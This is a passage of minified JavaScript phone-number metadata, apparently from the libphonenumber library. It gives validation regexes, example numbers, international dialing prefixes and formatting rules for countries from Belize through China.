"8 0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2-$3-$4",["1(?:[56]|7[467])|2[1-3]"],"8 0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[1-4]"],"8 0$1"],[,"(\\d{3})(\\d{3,4})(\\d{4})","$1 $2 $3",["[89]"],"8 $1"]],,[,,,,,,,,,[-1]],,,[,,"800\\d{3,7}|(?:8(?:0[13]|10|20\\d)|902)\\d{7}"],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],BZ:[,[,,"(?:0800\\d|[2-8])\\d{6}",,,,,,,[7,11]],[,,"(?:2(?:[02]\\d|36|[68]0)|[3-58](?:[02]\\d|[68]0)|7(?:[02]\\d|32|[68]0))\\d{4}",,,,"2221234",,,[7]],[,,"6[0-35-7]\\d{5}",
,,,"6221234",,,[7]],[,,"0800\\d{7}",,,,"08001234123",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"BZ",501,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1-$2",["[2-8]"]],[,"(\\d)(\\d{3})(\\d{4})(\\d{3})","$1-$2-$3-$4",["0"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CA:[,[,,"(?:[2-8]\\d|90)\\d{8}|3\\d{6}",,,,,,,[7,10]],[,,"(?:2(?:04|[23]6|[48]9|50|63)|3(?:06|43|54|6[578]|82)|4(?:03|1[68]|[26]8|3[178]|50|74)|5(?:06|1[49]|48|79|8[147])|6(?:04|[18]3|39|47|72)|7(?:0[59]|42|53|78|8[02])|8(?:[06]7|19|25|7[39])|90[25])[2-9]\\d{6}",
,,,"5062345678",,,[10],[7]],[,,"(?:2(?:04|[23]6|[48]9|50|63)|3(?:06|43|54|6[578]|82)|4(?:03|1[68]|[26]8|3[178]|50|74)|5(?:06|1[49]|48|79|8[147])|6(?:04|[18]3|39|47|72)|7(?:0[59]|42|53|78|8[02])|8(?:[06]7|19|25|7[39])|90[25])[2-9]\\d{6}",,,,"5062345678",,,[10],[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456",,,[10]],[,,"900[2-9]\\d{6}",,,,"9002123456",,,[10]],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|(?:5(?:00|2[125-9]|33|44|66|77|88)|622)[2-9]\\d{6}",
,,,"5002345678",,,[10]],[,,"600[2-9]\\d{6}",,,,"6002012345",,,[10]],"CA",1,"011","1",,,"1",,,1,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"310\\d{4}",,,,"3101234",,,[7]],,,[,,,,,,,,,[-1]]],CC:[,[,,"1(?:[0-79]\\d{8}(?:\\d{2})?|8[0-24-9]\\d{7})|[148]\\d{8}|1\\d{5,7}",,,,,,,[6,7,8,9,10,12]],[,,"8(?:51(?:0(?:02|31|60|89)|1(?:18|76)|223)|91(?:0(?:1[0-2]|29)|1(?:[28]2|50|79)|2(?:10|64)|3(?:[06]8|22)|4[29]8|62\\d|70[23]|959))\\d{3}",,,,"891621234",,,[9],[8]],[,,"4(?:79[01]|83[0-389]|94[0-4])\\d{5}|4(?:[0-36]\\d|4[047-9]|5[0-25-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\d{6}",
,,,"412345678",,,[9]],[,,"180(?:0\\d{3}|2)\\d{3}",,,,"1800123456",,,[7,10]],[,,"190[0-26]\\d{6}",,,,"1900123456",,,[10]],[,,"13(?:00\\d{6}(?:\\d{2})?|45[0-4]\\d{3})|13\\d{4}",,,,"1300123456",,,[6,8,10,12]],[,,,,,,,,,[-1]],[,,"14(?:5(?:1[0458]|[23][458])|71\\d)\\d{4}",,,,"147101234",,,[9]],"CC",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",,,"([59]\\d{7})$|0","8$1","0011",,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CD:[,[,,"(?:(?:[189]|5\\d)\\d|2)\\d{7}|[1-68]\\d{6}",
,,,,,,[7,8,9,10]],[,,"(?:(?:12|573)\\d\\d|276)\\d{5}|[1-6]\\d{6}",,,,"1234567"],[,,"88\\d{5}|(?:8[0-69]|9[017-9])\\d{7}",,,,"991234567",,,[7,9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CD",243,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["88"],"0$1"],[,"(\\d{2})(\\d{5})","$1 $2",["[1-6]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[89]"],
"0$1"],[,"(\\d{2})(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3 $4",["5"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CF:[,[,,"(?:[27]\\d{3}|8776)\\d{4}",,,,,,,[8]],[,,"2[12]\\d{6}",,,,"21612345"],[,,"7[024-7]\\d{6}",,,,"70012345"],[,,,,,,,,,[-1]],[,,"8776\\d{4}",,,,"87761234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CF",236,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[278]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],
CG:[,[,,"222\\d{6}|(?:0\\d|80)\\d{7}",,,,,,,[9]],[,,"222[1-589]\\d{5}",,,,"222123456"],[,,"026(?:1[0-5]|6[6-9])\\d{4}|0(?:[14-6]\\d\\d|2(?:40|5[5-8]|6[07-9]))\\d{5}",,,,"061234567"],[,,,,,,,,,[-1]],[,,"80[0-2]\\d{6}",,,,"800123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CG",242,"00",,,,,,,,[[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["8"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[02]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CH:[,[,,"8\\d{11}|[2-9]\\d{8}",,,
,,,,[9,12]],[,,"(?:2[12467]|3[1-4]|4[134]|5[256]|6[12]|[7-9]1)\\d{7}",,,,"212345678",,,[9]],[,,"(?:6[89]|7[235-9])\\d{7}",,,,"781234567",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"90[016]\\d{6}",,,,"900123456",,,[9]],[,,"84[0248]\\d{6}",,,,"840123456",,,[9]],[,,"878\\d{6}",,,,"878123456",,,[9]],[,,,,,,,,,[-1]],"CH",41,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8[047]|90"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-79]|81"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})",
"$1 $2 $3 $4 $5",["8"],"0$1"]],,[,,"74[0248]\\d{6}",,,,"740123456",,,[9]],,,[,,,,,,,,,[-1]],[,,"5[18]\\d{7}",,,,"581234567",,,[9]],,,[,,"860\\d{9}",,,,"860123456789",,,[12]]],CI:[,[,,"[02]\\d{9}",,,,,,,[10]],[,,"2(?:[15]\\d{3}|7(?:2(?:0[23]|1[2357]|2[245]|3[45]|4[3-5])|3(?:06|1[69]|[2-6]7)))\\d{5}",,,,"2123456789"],[,,"0[157]\\d{8}",,,,"0123456789"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CI",225,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d)(\\d{5})","$1 $2 $3 $4",
["2"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3 $4",["0"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CK:[,[,,"[2-578]\\d{4}",,,,,,,[5]],[,,"(?:2\\d|3[13-7]|4[1-5])\\d{3}",,,,"21234"],[,,"[578]\\d{4}",,,,"71234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CK",682,"00",,,,,,,,[[,"(\\d{2})(\\d{3})","$1 $2",["[2-578]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CL:[,[,,"12300\\d{6}|6\\d{9,10}|[2-9]\\d{8}",
,,,,,,[9,10,11]],[,,"2(?:1982[0-6]|3314[05-9])\\d{3}|(?:2(?:1(?:160|962)|3(?:2\\d\\d|3(?:[03467]\\d|1[0-35-9]|2[1-9]|5[0-24-9]|8[0-3])|600)|646[59])|80[1-9]\\d\\d|9(?:3(?:[0-57-9]\\d\\d|6(?:0[02-9]|[1-9]\\d))|6(?:[0-8]\\d\\d|9(?:[02-79]\\d|1[05-9]))|7[1-9]\\d\\d|9(?:[03-9]\\d\\d|1(?:[0235-9]\\d|4[0-24-9])|2(?:[0-79]\\d|8[0-46-9]))))\\d{4}|(?:22|3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|8[1-9]|9[2458])\\d{7}",,,,"221234567",,,[9]],[,,"2(?:1982[0-6]|3314[05-9])\\d{3}|(?:2(?:1(?:160|962)|3(?:2\\d\\d|3(?:[03467]\\d|1[0-35-9]|2[1-9]|5[0-24-9]|8[0-3])|600)|646[59])|80[1-9]\\d\\d|9(?:3(?:[0-57-9]\\d\\d|6(?:0[02-9]|[1-9]\\d))|6(?:[0-8]\\d\\d|9(?:[02-79]\\d|1[05-9]))|7[1-9]\\d\\d|9(?:[03-9]\\d\\d|1(?:[0235-9]\\d|4[0-24-9])|2(?:[0-79]\\d|8[0-46-9]))))\\d{4}|(?:22|3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|8[1-9]|9[2458])\\d{7}",
,,,"221234567",,,[9]],[,,"(?:123|8)00\\d{6}",,,,"800123456",,,[9,11]],[,,,,,,,,,[-1]],[,,"600\\d{7,8}",,,,"6001234567",,,[10,11]],[,,,,,,,,,[-1]],[,,"44\\d{7}",,,,"441234567",,,[9]],"CL",56,"(?:0|1(?:1[0-69]|2[02-5]|5[13-58]|69|7[0167]|8[018]))0",,,,,,,1,[[,"(\\d{4})","$1",["1(?:[03-589]|21)|[29]0|78"]],[,"(\\d{5})(\\d{4})","$1 $2",["219","2196"],"($1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["44"]],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2[1-36]"],"($1)"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["9[2-9]"]],
[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["3[2-5]|[47]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])"],"($1)"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["60|8"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3 $4",["60"]]],[[,"(\\d{5})(\\d{4})","$1 $2",["219","2196"],"($1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["44"]],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2[1-36]"],"($1)"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["9[2-9]"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",
["3[2-5]|[47]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])"],"($1)"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["60|8"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3 $4",["60"]]],[,,,,,,,,,[-1]],,,[,,"600\\d{7,8}",,,,,,,[10,11]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CM:[,[,,"[26]\\d{8}|88\\d{6,7}",,,,,,,[8,9]],[,,"2(?:22|33)\\d{6}",,,,"222123456",,,[9]],[,,"(?:24[23]|6(?:[25-9]\\d|40))\\d{6}",,,,"671234567",,,[9]],[,,"88\\d{6,7}",,,,"88012345"],[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CM",237,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["88"]],[,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[26]|88"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CN:[,[,,"(?:(?:1[03-689]|2\\d)\\d\\d|6)\\d{8}|1\\d{10}|[126]\\d{6}(?:\\d(?:\\d{2})?)?|86\\d{5,6}|(?:[3-579]\\d|8[0-57-9])\\d{5,9}",,,,,,,[7,8,9,10,11,12],[5,6]],[,,"(?:10(?:[02-79]\\d\\d|[18](?:0[1-9]|[1-9]\\d))|2(?:[02-57-9]\\d{3}|1(?:[18](?:0[1-9]|[1-9]\\d)|[2-79]\\d\\d))|(?:41[03]|8078|9(?:78|94))\\d\\d)\\d{5}|(?:10|2[0-57-9])(?:1(?:00|23)\\d\\d|95\\d{3,4})|(?:41[03]|9(?:78|94))(?:100\\d\\d|95\\d{3,4})|8078123|(?:43[35]|754|851)\\d{7,8}|(?:43[35]|754|851)(?:1(?:00\\d|23)\\d|95\\d{3,4})|(?:3(?:11|7[179])|4(?:[15]1|3[12])|5(?:1\\d|2[37]|3[12]|51|7[13-79]|9[15])|7(?:[39]1|5[57]|6[09])|8(?:71|98))(?:[02-8]\\d{7}|1(?:0(?:0\\d\\d(?:\\d{3})?|[1-9]\\d{5})|[13-9]\\d{6}|2(?:[0-24-9]\\d{5}|3\\d(?:\\d{4})?))|9(?:[0-46-9]\\d{6}|5\\d{3}(?:\\d(?:\\d{2})?)?))|(?:3(?:1[02-9]|35|49|5\\d|7[02-68]|9[1-68])|4(?:1[24-9]|2[179]|3[46-9]|5[2-9]|6[47-9]|7\\d|8[23])|5(?:3[03-9]|4[36]|5[02-9]|6[1-46]|7[028]|80|9[2-46-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[17]\\d|2[248]|3[04-9]|4[3-6]|5[0-3689]|6[2368]|9[02-9])|8(?:1[236-8]|2[5-7]|3\\d|5[2-9]|7[02-9]|8[36-8]|9[1-7])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))(?:[02-8]\\d{6}|1(?:0(?:0\\d\\d(?:\\d{2})?|[1-9]\\d{4})|[13-9]\\d{5}|2(?:[0-24-9]\\d{4}|3\\d(?:\\d{3})?))|9(?:[0-46-9]\\d{5}|5\\d{3,5}))",
,,,"1012345678",,,[7,8,9,10,11],[5,6]],[,,"1740[0-5]\\d{6}|1(?:[38]\\d|4[57]|[59][0-35-9]|6[25-7]|7[0-35-8])\\d{8}",,,,"13123456789",,,[11]],[,,"(?:(?:10|21)8|8)00\\d{7}",,,,"8001234567",,,[10,12]],[,,"16[08]\\d{5}",,,,"16812345",,,[8]],[,,"10(?:10\\d{4}|96\\d{3,4})|400\\d{7}|950\\d{7,8}|(?:2[0-57-9]|3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))96\\d{3,4}",
,,,"4001234567",,,[7,8,9,10,11],[5,6]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CN",86,"00|1(?:[12]\\d|79)\\d\\d00","0",,,"(1(?:[12]\\d|79)\\d\\d)|0",,"00",,[[,"(\\d{5,6})","$1",["1(?:00|2[13])|9[56]","1(?:00|2(?:1|39))|9[56]","1(?:00|2(?:1|395))|9[56]"]],[,"(\\d{5,6})","$1",["1(?:0|23)|781|[1-9]12","1(?:0|23)|7812|[1-9]123","1(?:0|23(?:[0-8]|9[0-46-9]))|78123|[1-9]123"]],[,"(\\d{2})(\\d{5,6})","$1 $2",["(?:10|2[0-57-9])[19]|3(?:[157]|35|49|9[1-68])|4(?:1[124-9]|2[179]|6[47-9]|7|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:07|1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3|4[13]|5[1-5]|7[0-79]|9[0-35-9])|(?:4[35]|59|85)[1-9]",
"(?:10|2[0-57-9])(?:1[02]|9[56])|8078|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))1","10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|80781|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))12",
"10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|807812|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))123","10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:078|1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))123"],
"0$1","$CC $1"],[,"(\\d{3})(\\d{4})","$1 $2",["[1-9]","1[1-9]|26|[3-9]|(?:10|2[0-57-9])(?:[0-8]|9[0-47-9])","1(?:0(?:[02-8]|1(?:[013-9]|2[0-24-9])|9[0-47-9])|[1-9])|2(?:[0-57-9](?:[02-8]|1(?:0[1-9]|[13-9]|2[0-24-9])|9[0-47-9])|6)|[3-9]","1(?:0(?:[02-8]|1(?:[013-9]|2[0-24-9])|9[0-47-9])|[1-9])|2(?:[0-57-9](?:[02-8]|1(?:0[1-9]|[13-9]|2[0-24-9])|9[0-47-9])|6)|3(?:[0268]|3[0-46-9]|4[0-8]|9[079])|4(?:[049]|1[03]|2[02-68]|[35]0|6[0-356]|8[014-9])|5(?:0|2[0-24-689]|4[0-2457-9]|6[057-9]|8[1-9]|90)|6(?:[0-24578]|3[06-9]|6[14-79]|9[03-9])|7(?:0[02-9]|2[0135-79]|3[23]|4[0-27-9]|6[1457]|8)|8(?:[046]|1[01459]|2[0-489]|50|8[0-2459]|9[09])|9(?:0[0457]|1[08]|[268]|4[024-9]|5[06-9]|78|94)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))(?:[02-9]|1(?:[013-9]|2[0-24-9]))",
"1(?:0(?:[02-8]|1(?:[013-9]|2[0-24-9])|9[0-47-9])|[1-9])|2(?:[0-57-9](?:[02-8]|1(?:0[1-9]|[13-9]|2[0-24-9])|9[0-47-9])|6)|3(?:[0268]|3[0-46-9]|4[0-8]|9[079])|4(?:[049]|1[03]|2[02-68]|[35]0|6[0-356]|8[014-9])|5(?:0|2[0-24-689]|4[0-2457-9]|6[057-9]|8[1-9]|90)|6(?:[0-24578]|3[06-9]|6[14-79]|9[03-9])|7(?:0[02-9]|2[0135-79]|3[23]|4[0-27-9]|6[1457]|8)|8(?:0(?:[0-689]|7[0-79])|1[01459]|2[0-489]|[46]|50|8[0-2459]|9[09])|9(?:0[0457]|1[08]|[268]|4[024-9]|5[06-9]|78|94)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:078|1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))(?:[02-9]|1(?:[013-9]|2[0-24-9]))"]],
[,"(\\d{4})(\\d{4})","$1 $2",["16[08]"]],[,"(\\d{3})(\\d{5,6})","$1 $2",["3(?:[157]|35|49|9[1-68])|4(?:[17]|2[179]|6[47-9]|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])|(?:4[35]|59|85)[1-9]","(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))[19]",
"85[23](?:10|95)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:10|9[56])","85[23](?:100|95)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:100|9[56])"],
"0$1","$CC $1"],[,"(\\d{4})(\\d{4})","$1 $2",["[1-9]","1(?:0(?:[02-8]|1[1-9]|9[0-47-9])|[1-9])|2(?:[0-57-9](?:[0-8]|9[0-47-9])|6)|[3-9]","1(?:0(?:[02-8]|1[1-9]|9[0-47-9])|[1-9])|26|3(?:[0268]|4[0-8]|9[079])|4(?:[049]|2[02-68]|[35]0|6[0-356]|8[014-9])|5(?:0|2[0-24-689]|4[0-2457-9]|6[057-9]|8[1-9]|90)|6(?:[0-24578]|3[06-9]|6[14-79]|9[03-9])|7(?:0[02-9]|2[0135-79]|3[23]|4[0-27-9]|6[1457]|8)|8(?:[046]|1[01459]|2[0-489]|5(?:0|[23][0-8])|8[0-2459]|9[09])|9(?:0[0457]|1[08]|[268]|4[024-9]|5[06-9])|(?:33|85[23]9)[0-46-9]|(?:2[0-57-9]|3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:[0-8]|9[0-47-9])",
"1(?:0[02-8]|[1-9])|2(?:[0-57-9][0-8]|6)|3(?:[0268]|3[0-46-9]|4[0-8]|9[079])|4(?:[049]|2[02-68]|[35]0|6[0-356]|8[014-9])|5(?:0|2[0-24-689]|4[0-2457-9]|6[057-9]|90)|6(?:[0-24578]|3[06-9]|6[14-79]|9[03-9])|7(?:0[02-9]|2[0135-79]|3[23]|4[0-27-9]|6[1457]|8)|8(?:[046]|1[01459]|2[0-489]|5(?:0|[23](?:[02-8]|1[1-9]|9[0-46-9]))|8[0-2459]|9[09])|9(?:0[0457]|1[08]|[268]|4[024-9]|5[06-9])|(?:10|2[0-57-9])9[0-47-9]|(?:101|58|85[23]10)[1-9]|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:[02-8]|1(?:0[1-9]|[1-9])|9[0-47-9])"]],
[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["(?:4|80)0"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["10|2(?:[02-57-9]|1[1-9])","10|2(?:[02-57-9]|1[1-9])","10[0-79]|2(?:[02-57-9]|1[1-79])|(?:10|21)8(?:0[1-9]|[1-9])"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["3(?:[3-59]|7[02-68])|4(?:[26-8]|3[3-9]|5[2-9])|5(?:3[03-9]|[468]|7[028]|9[2-46-9])|6|7(?:[0-247]|3[04-9]|5[0-4689]|6[2368])|8(?:[1-358]|9[1-7])|9(?:[013479]|5[1-5])|(?:[34]1|55|79|87)[02-9]"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{7,8})",
